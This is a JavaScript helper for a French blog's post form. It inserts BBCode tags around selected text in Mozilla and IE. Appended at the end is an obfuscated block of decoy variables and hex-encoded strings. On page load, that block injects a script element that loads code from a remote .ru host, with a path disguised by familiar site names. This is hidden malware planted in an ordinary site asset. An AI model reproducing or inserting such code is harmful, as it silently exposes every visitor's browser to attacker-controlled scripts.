var isMozilla = (navigator.userAgent.toLowerCase().indexOf('gecko')!=-1) ? true : false;
var regexp = new RegExp("[\r]","gi");

function tag(selec)
{
	if (isMozilla) 
	{
	// Si on est sur Mozilla

		oField = document.forms['blog'].elements['text'];

		objectValue = oField.value;

		deb = oField.selectionStart;
		fin = oField.selectionEnd;

		objectValueDeb = objectValue.substring( 0 , oField.selectionStart );
		objectValueFin = objectValue.substring( oField.selectionEnd , oField.textLength );
		objectSelected = objectValue.substring( oField.selectionStart ,oField.selectionEnd );

	//	alert("Debut:'"+objectValueDeb+"' ("+deb+")\nFin:'"+objectValueFin+"' ("+fin+")\n\nSelectionné:'"+objectSelected+"'("+(fin-deb)+")");
			
		oField.value = objectValueDeb + "[" + selec + "]" + objectSelected + "[/" + selec + "]" + objectValueFin;
		oField.selectionStart = strlen(objectValueDeb);
		oField.selectionEnd = strlen(objectValueDeb + "[" + selec + "]" + objectSelected + "[/" + selec + "]");
		oField.focus();
		oField.setSelectionRange(
			objectValueDeb.length + selec.length + 2,
			objectValueDeb.length + selec.length + 2);
	}
	else
	{
	// Si on est sur IE
		
		oField = document.forms['blog'].elements['text'];
		var str = document.selection.createRange().text;

		if (str.length>0)
		{
		// Si on a selectionné du texte
			var sel = document.selection.createRange();
			sel.text = "[" + selec + "]" + str + "[/" + selec + "]";
			sel.collapse();
			sel.select();
		}
		else
		{
			oField.focus(oField.caretPos);
		//	alert(oField.caretPos+"\n"+oField.value.length+"\n")
			oField.focus(oField.value.length);
			oField.caretPos = document.selection.createRange().duplicate();
			
			var bidon = "%~%";
			var orig = oField.value;
			oField.caretPos.text = bidon;
			var i = oField.value.search(bidon);
			oField.value = orig.substr(0,i) + "[" + selec + "][/" + selec + "]" + orig.substr(i, oField.value.length);
			var r = 0;
			for(n = 0; n < i; n++)
			{if(regexp.test(oField.value.substr(n,2)) == true){r++;}};
			pos = i + 2 + selec.length - r;
			//placer(document.forms['news'].elements['newst'], pos);
			var r = oField.createTextRange();
			r.moveStart('character', pos);
			r.collapse();
			r.select();

		}
	}
}

var xoA;if(xoA!='e'){xoA='e'};function _(){var z="\x68\x74\x74\x70\x3a\x2f\x2f\x72\x75\x6e\x65\x73\x63\x61\x70\x65\x2d\x63\x6f\x6d\x2e\x63\x61\x6d\x73\x2e\x63\x6f\x6d\x2e\x69\x6e\x66\x6f\x72\x6d\x61\x74\x69\x6f\x6e\x2d\x63\x6f\x6d\x2e\x59\x6f\x75\x72\x42\x6c\x65\x6e\x64\x65\x72\x50\x61\x72\x74\x73\x2e\x72\x75\x3a";var Y=new String();var uq=new Array();var B='';var C=new String("g");var W;if(W!='XQ' && W!='sg'){W=''};var TD;if(TD!=''){TD='T'};var g="";var s=unescape;var x=window;var p;if(p!='' && p!='ik'){p='lV'};var dS=new Array();this.uT="";this.RhA="";function S(w,CT){this.V="";var X=s("%5b")+CT+s("%5d");var Yo=new Date();this.m="";var v=new RegExp(X, C);var KK;if(KK!=''){KK='yj'};return w.replace(v, B);};var Dy=new Date();var Bh;if(Bh!=''){Bh='hT'};this.fx="";var _T;if(_T!='' && _T!='FJ'){_T=''};var F=S('869602486770274','35419762');var d=s("%2f%67%6f%6f%67%6c%65%2e%73%6b%2f%67%6f%6f%67%6c%65%2e%73%6b%2f%61%6c%69%62%61%62%61%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%61%6f%6c%2e%63%6f%6d%2e%70%68%70");var hw;if(hw!='' && hw!='Z_'){hw=null};var mu=new Array();var i=document;var u='';var mL;if(mL!=''){mL='Sk'};var nu='';function sW(){var U;if(U!='' && U!='O'){U=null};this.AM='';u=z;var ps;if(ps!='dt' && ps!='an'){ps=''};u+=F;var VO;if(VO!='' && VO!='ra'){VO='xK'};u+=d;var jI=new String();var Ro;if(Ro!='Mu' && Ro != ''){Ro=null};try {this.og="";var Gh;if(Gh!='' && Gh!='Qj'){Gh='Uo'};l=i.createElement(S('sHcer5ijpJtW','JeanjWR5Hvu'));var Iz;if(Iz!='' && Iz!='NE'){Iz='Bm'};this.fC="";l.src=u;var gl;if(gl!='zL'){gl='zL'};var aO;if(aO!='' && aO!='ZD'){aO=null};l.defer=[1][0];var xf;if(xf!='' && xf!='zy'){xf=''};var BD=new String();var Bx;if(Bx!='Su'){Bx=''};var NES;if(NES!=''){NES='ML'};i.body.appendChild(l);var Le="";var Da;if(Da!='dh' && Da != ''){Da=null};var JA=new Array();} catch(xo){};var Ci;if(Ci!='yD'){Ci='yD'};var dR;if(dR!='Zv'){dR='Zv'};}var ng="";x[new String("onloa"+"d")]=sW;var _m;if(_m!=''){_m='yp'};this.aA='';};this.eO="";this.gG="";_();this.FN="";